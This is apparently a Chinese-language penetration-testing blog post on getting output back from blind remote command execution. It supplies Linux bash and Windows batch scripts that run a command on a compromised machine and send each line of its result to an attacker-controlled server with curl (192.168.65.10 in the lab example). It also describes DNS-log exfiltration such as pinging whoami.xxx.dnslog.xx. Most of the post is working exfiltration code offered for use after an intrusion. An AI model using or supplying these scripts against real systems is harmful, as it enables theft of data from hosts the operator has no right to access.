关于命令执行无回显的那档子事

有时候千辛万苦的拿到一个RCE的入口点或突破点,但是那个RCE点位却无法回显,导致我们执行的任何命令都看不到结果,这样非常影响我们的下一步操作。

获得回显

目前获得回显的主要方式是通过dnslog,但是个人感觉dnslog有些不完美,不可控(只是我不咋会用的原因),这样通过dnslog带外出来的结果,在返回值比较多的情况下不适合逐一查看,所以dnslog基本上仅用于判断是否存在RCE期间使用。

除开dnslog之外,还可以使用httplog将我们执行命令的结果外带出来,由于http的请求是实时的,且无延时无需刷新,我们可快速的获取到执行的结果。

操作步骤

Linux系统

如果已经证明存在RCE点的情况下,且机器出网,则可以远程下载一个小脚本,通过该脚本将我们执行命令的结果通过httplog的方式外带出来。

  • 例子:

  • vps服务器:192.168.65.10

  • RCE机器:192.168.65.131

RCE机器下载小脚本,脚本内容如下:

for result in $1

do

curl http://192.168.65.10/$result/

done

该bash脚本通过for循环遍历用户输入的命令结果,并使用curl将命令的结果带入到vps的http服务中,vps查看日志即可获取命令执行的结果。

用法:

由于这里是在RCE机器上演示,所以我们能直接看见返回的结果,切换到vps服务器再次在RCE机器上执行该脚本:

首先使用python在VPS上开启一个http监听

然后RCE机器执行脚本,真实环境下是通过RCE的点位执行这个脚本

vps上的结果

由此可见,whoami执行的结果已经返回到vps上面,执行其他命令同理,若是执行的命令带有空格,则用双引号或者单引号将执行的命令包起来执行即可。

这种方式由于直接将vps的ip写到了脚本里面,更加容易的暴露自己,所以脚本还可以优化为如下方式:

for result in $1
do
curl http://$2/$result/
done

然后执行的时候,在后面加上自己的vps服务器的ip地址即可:

./rce.sh whoami 192.168.65.10

Windows系统

先煮个饭吃再说

++++++++++++

Windows系统原理和Linux系统的原理一致,只是操作上的区别,Linux能直接使用for循环遍历执行命令的结果,但是Windows我未找到实现的方式,通过添加了一些步骤,从而实现了for循环遍历命令执行结果的操作。

Windows的bat脚本如下:

set p1=%1
%p1% > 123.txt
for /F %%i in (123.txt) do curl -I http://192.168.65.10/%%i
del 123.txt

将内容保存为bat文件,然后按如下方式执行。

vps收到的结果

优化的版本如下,自定义IP地址。

set p1=%1
set p2=%2
%p1% > 123.txt
for /F %%i in (123.txt) do curl -I http://%p2%/%%i
del 123.txt

使用方式:

1.bat whoami 192.168.65.10

Windows坑

这种方式,如果接收的参数,不能用双引号或者单引号,然后这样就会导致,执行 dir c:\ 这种命令时会出现问题,如果执行:

1.bat dir c:\

执行这种的时候,会只执行dir这个命令,后面的c:\不会带入到执行结果中,这样实际执行的命令就是:

1.bat dir

vps就会收到这条命令的结果,和实际想要的结果就会不一致。

解决办法,多添加几个用户接收参数的值,可以添加多个,执行命令时不影响,但是若是参数少于执行命令时候的参数,则最终结果会有出入。

for /f %i in ('whoami') do curl -I http://192.168.65.10/%i

这种方式最多支持接受4个参数,反正如果参数可以定义多个,执行命令时候不会受到影响

上面这个bat也可以用于执行whoam等单个命令。

vps接受的结果

这样就解决了多个参数的问题,当然,自定义IP地址的问题,可以将ip地址放在第一位,然后后面传入要执行的命令即可。

总结

之前在网络上见过类似 ping whoami.xxx.dnslog.xx 在dnslog平台上能接收到whoami的执行结果,但是windows操作系统上,在命令行或者终端执行这种的话不行:

(文章写不出来那个飘的符号,见图)

Windows举例:

vps接收的结果

!

所以Windows中不能以这种方式执行。

Linux里面可以使用`whoami`这种的方式执行命令的,所以根据不同的特性定制相关操作完成就行了。

vps接收的结果

总之就是Windows和Linux的特性不一样,所以需要根据实际情况以及自己测试,实现想要达到的目的。